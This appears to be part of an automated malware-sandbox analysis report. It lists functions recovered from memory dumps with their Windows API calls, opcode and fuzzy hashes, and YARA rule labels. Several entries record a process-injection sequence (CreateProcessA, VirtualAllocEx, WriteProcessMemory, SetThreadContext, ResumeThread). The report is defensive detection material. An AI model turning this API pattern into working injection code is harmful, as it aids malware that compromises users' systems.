Instruction Fuzzy Hash: 5131D2318043588FDB559F64D804BEEBBF1AB0A310F058167D004BB262C7388989CB65

Uniqueness

Uniqueness Score: -1.00%

Function 06AAFDE8, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 418a37dbfc802c2eef4f19b94c90337d42542d1e46b15374f70d9b66ebfd41c7
Instruction ID: 0115b756808aeea95dd2d8482c00bb08417328264c9db9094eb014431f3b288f
Opcode Fuzzy Hash: 418a37dbfc802c2eef4f19b94c90337d42542d1e46b15374f70d9b66ebfd41c7
Instruction Fuzzy Hash: 75112770D043188FDB68DFA5C418BEEBAF1BB4E311F14906AD405B7291C7798944CB69

Uniqueness

Uniqueness Score: -1.00%

Function 06AAB7F8, Relevance: 19.6, APIs: 1, Strings: 10, Instructions: 325COMMON

Download Yara Rule

APIs

GetActiveWindow.USER32 ref: 06AAB985

Strings

0Py, xrefs: 06AABC67
0Py, xrefs: 06AABC0A
0Py, xrefs: 06AABACA
0Py, xrefs: 06AABBF1
0Py, xrefs: 06AABBC5
0Py, xrefs: 06AABB03
0Py, xrefs: 06AABBAC
0Py, xrefs: 06AABC42
0Py, xrefs: 06AABB79
0Py, xrefs: 06AABB3E

Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID: ActiveWindow
String ID: 0Py$0Py$0Py$0Py$0Py$0Py$0Py$0Py$0Py$0Py
API String ID: 2558294473-2936795362
Opcode ID: e82984b939cbf8d9a5ebe5e4b901b6164eea2e5d59543245c22846e9136ea2b7
Instruction ID: d3595400349cfc7f2ca83b6dc6a892ffa5f8aa17bd812dd156d7ca6df0dd42d5
Opcode Fuzzy Hash: e82984b939cbf8d9a5ebe5e4b901b6164eea2e5d59543245c22846e9136ea2b7
Instruction Fuzzy Hash: B2B1C070F142188FCB48ABB8D4547AE77E3AF89704F558439E546EF381DF3898468BA1

Uniqueness

Uniqueness Score: -1.00%

Function 00AAB7E2, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 125threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00AAB850
GetCurrentThread.KERNEL32 ref: 00AAB88D
GetCurrentProcess.KERNEL32 ref: 00AAB8CA
GetCurrentThreadId.KERNEL32 ref: 00AAB923

Strings

H~, xrefs: 00AAB94F

Memory Dump Source

Source File: 00000000.00000002.261607748.0000000000AA0000.00000040.00000001.sdmp, Offset: 00AA0000, based on PE: false

Similarity

API ID: Current$ProcessThread
String ID: H~
API String ID: 2063062207-1798049194
Opcode ID: 97e2430a7b2684f1999fe0b5fe75e49e43a12d6ad23d1727bb6e78ab12aa5cd0
Instruction ID: e6d42f0b5aab895499bd24e120f25c92d834f7c2c9882bbd8f8b8e2857d7039e
Opcode Fuzzy Hash: 97e2430a7b2684f1999fe0b5fe75e49e43a12d6ad23d1727bb6e78ab12aa5cd0
Instruction Fuzzy Hash: 345155B09012488FDB44CFA9D588B9EBBF1BF4A314F2484AEE459A7391C7785844CF61

Uniqueness

Uniqueness Score: -1.00%

Function 00AAB7F0, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00AAB850
GetCurrentThread.KERNEL32 ref: 00AAB88D
GetCurrentProcess.KERNEL32 ref: 00AAB8CA
GetCurrentThreadId.KERNEL32 ref: 00AAB923

Strings

H~, xrefs: 00AAB94F

Memory Dump Source

Source File: 00000000.00000002.261607748.0000000000AA0000.00000040.00000001.sdmp, Offset: 00AA0000, based on PE: false

Similarity

API ID: Current$ProcessThread
String ID: H~
API String ID: 2063062207-1798049194
Opcode ID: 3e409362a8c0afd5689ec166562a89d87b01676bb8dfd4c4c6f13ce2f4ffbe00
Instruction ID: 4329975d5652d3cff0afd0e78d20d21a674619e602a7ea13592c30fc98c4e7ab
Opcode Fuzzy Hash: 3e409362a8c0afd5689ec166562a89d87b01676bb8dfd4c4c6f13ce2f4ffbe00
Instruction Fuzzy Hash: 015144B4D002488FDB54CFA9D588B9EBBF5BF49314F24846EE419A7390C7789844CF65

Uniqueness

Uniqueness Score: -1.00%

Function 00AA94F0, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 195COMMON

Download Yara Rule

Strings

0Py, xrefs: 00AA9693
0Py, xrefs: 00AA966E

Memory Dump Source

Source File: 00000000.00000002.261607748.0000000000AA0000.00000040.00000001.sdmp, Offset: 00AA0000, based on PE: false

Similarity

API ID: HandleModule
String ID: 0Py$0Py
API String ID: 4139908857-1427814736
Opcode ID: a7a5ac035ca2f41deb6be96038b4f84b9b6064d794e9a8c2317796c550f31c8d
Instruction ID: 8aa85d04f48d6a6c5091847a67b9143a86239b0078e9727266314223575edc28
Opcode Fuzzy Hash: a7a5ac035ca2f41deb6be96038b4f84b9b6064d794e9a8c2317796c550f31c8d
Instruction Fuzzy Hash: 14713570A00B058FDB24DF29D54579BB7F2BF89314F00892DD44AD7A80DB78E9098F91

Uniqueness

Uniqueness Score: -1.00%

Function 06AAA93C, Relevance: 1.7, APIs: 1, Instructions: 245processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 06AAAB7E

Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: ec72181f80a8e9d06731e3ed5176474ecd9bf8ca902514d75aa0d811f156a2ca
Instruction ID: 18b07b5954d2b16a7adc25b91260c50d93132d2a9f39a8070bff3e4222250048
Opcode Fuzzy Hash: ec72181f80a8e9d06731e3ed5176474ecd9bf8ca902514d75aa0d811f156a2ca
Instruction Fuzzy Hash: 76A17B71D003198FEB64DFA8C9807EDBBF2BF48314F04856AE959A7240DB749985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 06AAA948, Relevance: 1.7, APIs: 1, Instructions: 243processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 06AAAB7E

Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: b3f5cf8718ec224b21ed042a614093e73feeade1b50da99db242c6300c655e3c
Instruction ID: 8d215cb56eeda4d0f5bf167718cc366e446e937099493c1741798c2859abb055
Opcode Fuzzy Hash: b3f5cf8718ec224b21ed042a614093e73feeade1b50da99db242c6300c655e3c
Instruction Fuzzy Hash: 12916B71D003199FEB64DFA8C980BEDBBF2BF48314F04856AE919A7240DB749985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 06AAB7E8, Relevance: 1.7, APIs: 1, Instructions: 177COMMON

Download Yara Rule

APIs

GetActiveWindow.USER32 ref: 06AAB985

Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID: ActiveWindow
String ID:
API String ID: 2558294473-0
Opcode ID: 75a50d4fe59f833bb929cb67f6081c2856a4e8872ed396ad9134a85ed4329242
Instruction ID: a38530e0caa7ae72fa5269a9b0f8b63c5a8413dc5a3c2bde3929641458b52e85
Opcode Fuzzy Hash: 75a50d4fe59f833bb929cb67f6081c2856a4e8872ed396ad9134a85ed4329242
Instruction Fuzzy Hash: EE61AF70E10319DFDF54EFA5D9947ADBBB2BF88300F14852AE805AB390DB759845CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00AAFD0C, Relevance: 1.6, APIs: 1, Instructions: 120COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 00AAFE2A

Memory Dump Source

Source File: 00000000.00000002.261607748.0000000000AA0000.00000040.00000001.sdmp, Offset: 00AA0000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 5e0cf6a0cc4d60795357ad660bdcdaa0a80ad22f82fc4609ee7de30c4aef4e09
Instruction ID: 48881d5177031471c46908c42bed026b6d1648fc57ec821765057b6b90a44682
Opcode Fuzzy Hash: 5e0cf6a0cc4d60795357ad660bdcdaa0a80ad22f82fc4609ee7de30c4aef4e09
Instruction Fuzzy Hash: 2951BEB1D10309DFDB14CFA9C884ADEBBB1FF49314F24862AE819AB250D7759945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00AAFD18, Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 00AAFE2A

Memory Dump Source

Source File: 00000000.00000002.261607748.0000000000AA0000.00000040.00000001.sdmp, Offset: 00AA0000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 769f97d3d6930118c83b8664dbd667fa07c222e28b029b1c3c1d04ad8b64ac79
Instruction ID: 7cc79ba065cab25be1c93d711594b3f6e0753dff3488755be8e9b4eb5e883552
Opcode Fuzzy Hash: 769f97d3d6930118c83b8664dbd667fa07c222e28b029b1c3c1d04ad8b64ac79
Instruction Fuzzy Hash: 8641CFB1D003089FDB14CFA9C884ADEFBB5FF89314F24852AE819AB250D7759945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 06AAA6B8, Relevance: 1.6, APIs: 1, Instructions: 72injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 06AAA750

Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: a96825614e292f44936c4b9f3706a7e21182bf935af225e4854a94ca0c099985
Instruction ID: 80d71fa573da72dda1df68c6acadf21c7a590ecac1752d0be0808cfdc4e11ca7
Opcode Fuzzy Hash: a96825614e292f44936c4b9f3706a7e21182bf935af225e4854a94ca0c099985
Instruction Fuzzy Hash: E52146759003599FCB10DFA9C884BEEBBF5FF48314F54842AE919A7240C778A954CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 06AAA6C0, Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 06AAA750

Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: f3abf7f93b6b021ccdfc2d884e8890c303245172a6311c4506c81530b8ecbc54
Instruction ID: aa5af6b735be0beefee7dc11a6a5b0e7dd9cc91434d2b3a1651cf7a4a6aa9eb0
Opcode Fuzzy Hash: f3abf7f93b6b021ccdfc2d884e8890c303245172a6311c4506c81530b8ecbc54
Instruction Fuzzy Hash: 6C212775D003499FCB10DFA9C884BDEBBF5FF48314F44842AE919A7240C7789954CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 06AAA7A8, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 06AAA830

Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 2d4501627f2d18ec61d97dd340cfcbc60948de0262bd22c971e96faf323f2132
Instruction ID: f749f567e9bcc9d5fea227f6b4260a875dcbe6b69b188caed6a1b6398b854965
Opcode Fuzzy Hash: 2d4501627f2d18ec61d97dd340cfcbc60948de0262bd22c971e96faf323f2132
Instruction Fuzzy Hash: 782125B19003499FCB00CFA9C884AEEBBF5FF48324F50842AE919A7240C7799945CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 06AACBC0, Relevance: 1.6, APIs: 1, Instructions: 66threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 06AACC52

Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 89782c7c906695f0d84d7cc1ac43d548f2d3ac522d8328b3cbf73852934c37a5
Instruction ID: ba34bc770027f31af7db0dfdba9f471b3240201f748c8a36689e8fbc25ba6414
Opcode Fuzzy Hash: 89782c7c906695f0d84d7cc1ac43d548f2d3ac522d8328b3cbf73852934c37a5
Instruction Fuzzy Hash: 263146B4D002498FCB40DFA9C584A9EBBF1FF49324F14895AD459AB311D374A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 06AAA522, Relevance: 1.6, APIs: 1, Instructions: 65threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNELBASE(?,00000000), ref: 06AAA5A6

Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: be71ace640c644d36dfc2fb520176f2dab576a3f2be9801a6f89d2766f055bf6
Instruction ID: 0069783749d3b800f4412f5f45a03e65b957ad88e76c2879ce665f98e19ed0d2
Opcode Fuzzy Hash: be71ace640c644d36dfc2fb520176f2dab576a3f2be9801a6f89d2766f055bf6
Instruction Fuzzy Hash: 69213871D003098FCB50DFAAC4847EEBBF4EF88324F54842AD919A7240DB78A945CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 06AAC07A, Relevance: 1.6, APIs: 1, Instructions: 64threadCOMMON

Download Yara Rule

APIs

EnumThreadWindows.USER32(?,00000000,05389EE3,?,?,?,00000E28,?,?,06AACCA0,03514130,025311F0), ref: 06AACD31

Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID: EnumThreadWindows
String ID:
API String ID: 2941952884-0
Opcode ID: 049c217e6e5196f180fe97240737dabf8a7946149c33ddc0212d734052dc862b
Instruction ID: cb4ac14f142ce26bad51315e29d6c3269c09c078ea80b174e5680d1ebd6d99ae
Opcode Fuzzy Hash: 049c217e6e5196f180fe97240737dabf8a7946149c33ddc0212d734052dc862b
Instruction Fuzzy Hash: EF2125B1D042099FDB50DFA9C888BEEFBF4FB88324F04842AD455A7650D778A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00AABA11, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 00AABA9F

Memory Dump Source

Source File: 00000000.00000002.261607748.0000000000AA0000.00000040.00000001.sdmp, Offset: 00AA0000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 9d34de72a6e7e4f0e130d8e7b43a473d02a6216b149469dd8ce6f2eb8a8fd511
Instruction ID: e05d39e961b209b07c8bee7d1a3f443ddadde20b69f42d9aab3263f6ed8044e7
Opcode Fuzzy Hash: 9d34de72a6e7e4f0e130d8e7b43a473d02a6216b149469dd8ce6f2eb8a8fd511
Instruction Fuzzy Hash: DE21E4B59002489FDB10CFA9D484ADEBBF4FF49324F14841AE954A3350D375A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 06AAA7B0, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 06AAA830

Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 54641bc6f1964ca5233e3e99ca3ed927ed2cc622502d8f52c9b5345f07952c0a
Instruction ID: 39202531221f9ce80f9b01ee368acd005ee99fc467963ee644111776d8511fbd
Opcode Fuzzy Hash: 54641bc6f1964ca5233e3e99ca3ed927ed2cc622502d8f52c9b5345f07952c0a
Instruction Fuzzy Hash: CB2116B1D003499FCB10DFA9C884ADEBBF5FF48324F50842AE919A7240C7799945CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 06AAA528, Relevance: 1.6, APIs: 1, Instructions: 63threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNELBASE(?,00000000), ref: 06AAA5A6

Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 4026f0213f6643615f6f6600f88db1178bdfd956386bd9a63026da374a2a3ccb
Instruction ID: 3afd88f490c3f0e112fcaef9353f0766d02a4d9c09a20e19008439edaad853a1
Opcode Fuzzy Hash: 4026f0213f6643615f6f6600f88db1178bdfd956386bd9a63026da374a2a3ccb
Instruction Fuzzy Hash: A4214771D003098FCB50DFAAC4847EEBBF4EF88324F54842AD919A7240DB78A945CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 06AACBD0, Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 06AACC52

Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 2fdf314c8e3e85e7810f02fbe7161ddf76f6b6845eb878fd4f7cf98afad79330
Instruction ID: 580e277a576cb1dd40bfea0346f6819dde5034e778f4de0ddd06415a95a90f4a
Opcode Fuzzy Hash: 2fdf314c8e3e85e7810f02fbe7161ddf76f6b6845eb878fd4f7cf98afad79330
Instruction Fuzzy Hash: 5D2155B49002498FCB40DF99C484A9EFBF1FF49328F14896AD419BB311D774A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00AABA18, Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 00AABA9F

Memory Dump Source

Source File: 00000000.00000002.261607748.0000000000AA0000.00000040.00000001.sdmp, Offset: 00AA0000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: c4d423f2cc1541a049b300a9b905e41f603e9d8cc26b1d7eedfddd787fda0f91
Instruction ID: f998a43dca260f502856aca3b6f8ff3767be57c8dff392d5d4b25dc01e93656e
Opcode Fuzzy Hash: c4d423f2cc1541a049b300a9b905e41f603e9d8cc26b1d7eedfddd787fda0f91
Instruction Fuzzy Hash: E121D3B5900248AFDB10CFA9D884ADEFBF9FB49324F14841AE914A3350D375A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 06AACCB8, Relevance: 1.6, APIs: 1, Instructions: 62threadCOMMON

Download Yara Rule

APIs

EnumThreadWindows.USER32(?,00000000,05389EE3,?,?,?,00000E28,?,?,06AACCA0,03514130,025311F0), ref: 06AACD31

Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID: EnumThreadWindows
String ID:
API String ID: 2941952884-0
Opcode ID: 69acea15a0d27327e7ccc8582c034087e6331070af41d19d97000315e48da36a
Instruction ID: f1ee8abef6f21c791f4e2ea9529f2bda9d34e28ee0c9552bd99174ee55226bbe
Opcode Fuzzy Hash: 69acea15a0d27327e7ccc8582c034087e6331070af41d19d97000315e48da36a
Instruction Fuzzy Hash: B52118B1D002198FDB50CF99D884BEEFBF5EB88324F04842AD455A7740D778A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 06AAC084, Relevance: 1.6, APIs: 1, Instructions: 62threadCOMMON

Download Yara Rule

APIs

EnumThreadWindows.USER32(?,00000000,05389EE3,?,?,?,00000E28,?,?,06AACCA0,03514130,025311F0), ref: 06AACD31

Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID: EnumThreadWindows
String ID:
API String ID: 2941952884-0
Opcode ID: 48d9789524e338662b428710dbcbd1c10d450be7ebe0909bf30cc67f1dcdaf90
Instruction ID: 94fc5b58cd1c3edca11252877641e11576e1d493859e2ac2683d8c0fbd511ff9
Opcode Fuzzy Hash: 48d9789524e338662b428710dbcbd1c10d450be7ebe0909bf30cc67f1dcdaf90
Instruction Fuzzy Hash: 952138B1D002098FDB50DF99C844BEEFBF4EB88320F04842AD415A7740D7B8A945CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 06AAB354, Relevance: 1.6, APIs: 1, Instructions: 60windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(?,00000000,00000000,?,?,?,?,?,?,?,06AABA39,?,?,?), ref: 06AAD22D

Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID: Message
String ID:
API String ID: 2030045667-0
Opcode ID: ca5e5f71df8b3d93e4f0294a093350adac3da710888413959ac678c4c05a6fb8
Instruction ID: 4d91cbe7bd6118306b4616b8cc115cf08840429d100c46758ba15e42081fa1e3
Opcode Fuzzy Hash: ca5e5f71df8b3d93e4f0294a093350adac3da710888413959ac678c4c05a6fb8
Instruction Fuzzy Hash: 982104B5D013499FCB10DF9AD884ADEBBB4FF89314F10852EE859A7600C375A949CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 06AAD1A8, Relevance: 1.6, APIs: 1, Instructions: 57windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(?,00000000,00000000,?,?,?,?,?,?,?,06AABA39,?,?,?), ref: 06AAD22D

Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID: Message
String ID:
API String ID: 2030045667-0
Opcode ID: aac1b0e8a7c74c52f948cd539e8aece278cfa1d52a571b4a719e48f144ddc49a
Instruction ID: 1f6e08c31bdf2130af23a03c146adc021d800f8df341770fd78e78ef2a654bf5
Opcode Fuzzy Hash: aac1b0e8a7c74c52f948cd539e8aece278cfa1d52a571b4a719e48f144ddc49a
Instruction Fuzzy Hash: 8E2102B6D003498FCB10DF9AD884BDEBBB5FF48324F14852AE859A7600D374A549CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00AA9950, Relevance: 1.6, APIs: 1, Instructions: 56libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,?,?), ref: 00AA99C2

Memory Dump Source

Source File: 00000000.00000002.261607748.0000000000AA0000.00000040.00000001.sdmp, Offset: 00AA0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: ce4c4885092411ce90d18dae86446b2a32fcd978381cbdf73262ab343be99e30
Instruction ID: 1a193deab19b79a165598d49552cf8729fe33a062226a317c163f8d1e978e35e
Opcode Fuzzy Hash: ce4c4885092411ce90d18dae86446b2a32fcd978381cbdf73262ab343be99e30
Instruction Fuzzy Hash: FC1114B69002489FCB10CF9AD484BDFFBF4EB89324F14842ED459A7650C375A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 06AAA5FA, Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 06AAA66E

Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 43ef643c40207b76a5196576a28e64ef3fec837662952eb611a629feea74bfda
Instruction ID: be33837decc1c3b4f3136911daca7eb0af8a44f64668ffa07aca2098431e4cbb
Opcode Fuzzy Hash: 43ef643c40207b76a5196576a28e64ef3fec837662952eb611a629feea74bfda
Instruction Fuzzy Hash: 8C1137729002489FCB10DFA9C844BEFBBF5EF88324F14841AE515A7250C779A954CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 06AAA600, Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 06AAA66E

Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 108a181d404a691c6affabb57d980670ecd24cfb26311915e06f166353674e92
Instruction ID: 94ae35d7824a8a0c1d680b364883f3e5f1f1a899a38ddc7480345fef55b0aa03
Opcode Fuzzy Hash: 108a181d404a691c6affabb57d980670ecd24cfb26311915e06f166353674e92
Instruction Fuzzy Hash: F11137719002489FCB10DFA9C844BDFBBF5EF88324F14841AE515A7250C775A954CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00AA9958, Relevance: 1.6, APIs: 1, Instructions: 52libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,?,?), ref: 00AA99C2

Memory Dump Source

Source File: 00000000.00000002.261607748.0000000000AA0000.00000040.00000001.sdmp, Offset: 00AA0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 0a2df44d1479e1780962dc816561756cf5f4bd9d0bd826b9ae1f70855f95bca1
Instruction ID: 2127a5e6249942f29f8e463ee33513229deeeab28900abc90d9ee73fd6a88528
Opcode Fuzzy Hash: 0a2df44d1479e1780962dc816561756cf5f4bd9d0bd826b9ae1f70855f95bca1
Instruction Fuzzy Hash: 8411F3B69002499FCB10CF9AC484ADFFBF4EB89324F14842EE419A7650C3B5A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 06AAA472, Relevance: 1.6, APIs: 1, Instructions: 51threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 06AAA4DA

Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 9d48e38e4d6805dfd3bbd2fa7bcd588662e6ca01cd70b9f813a3be8a8d259f4d
Instruction ID: 99a8a2f5e67049bd3143a129dc2ae18b0e3da31ca61dd5033547e59cf80ab3e9
Opcode Fuzzy Hash: 9d48e38e4d6805dfd3bbd2fa7bcd588662e6ca01cd70b9f813a3be8a8d259f4d
Instruction Fuzzy Hash: A91128B19043498FCB10DFAAC4487DEFBF5AB88324F14842AD519A7640CB79A945CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00AA8850, Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,?,?,?,?,?,?,?,00AA9503), ref: 00AA9736

Memory Dump Source

Source File: 00000000.00000002.261607748.0000000000AA0000.00000040.00000001.sdmp, Offset: 00AA0000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 847c78c9592832c90efb20e01ed26a9c8f59a361609069cbe21e1a0582b38992
Instruction ID: af4ab079c1aecb0c706ea2452e81bfc17b0ead679692ca14cee6fef278838afa
Opcode Fuzzy Hash: 847c78c9592832c90efb20e01ed26a9c8f59a361609069cbe21e1a0582b38992
Instruction Fuzzy Hash: 6711C3B59006498BCB10CF9AC444BDFFBF4EB89324F14841AD419B7640D375A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06AAA478, Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 06AAA4DA

Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 336047d8639f6d16ce47efdc839f98a0623478177d22f3035e985c92bf01797a
Instruction ID: 10588fe43756f7a1f19006938eb81ac5a5fd78f751b3932a98bccd57442f004f
Opcode Fuzzy Hash: 336047d8639f6d16ce47efdc839f98a0623478177d22f3035e985c92bf01797a
Instruction Fuzzy Hash: 3D1106B1D043498FCB10DFAAC4487DEFBF5AB88328F14842AD519A7640CB79A945CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 06AAD550, Relevance: 1.5, APIs: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 06AAD5B5

Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 51c850b4dd559bce0c026d7cc4dbd28041ae8db08577b0f660e8c110af1dd545
Instruction ID: abc3919a08e134ece7ad8ca820e2b93350a9c0c273eeb339d70c7ffbf191360a
Opcode Fuzzy Hash: 51c850b4dd559bce0c026d7cc4dbd28041ae8db08577b0f660e8c110af1dd545
Instruction Fuzzy Hash: 1E11D3B58003499FDB10DF99D889BDEBBF8FB59324F14881AE554A7700C375A644CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 06AAC789, Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 06AAC7E5

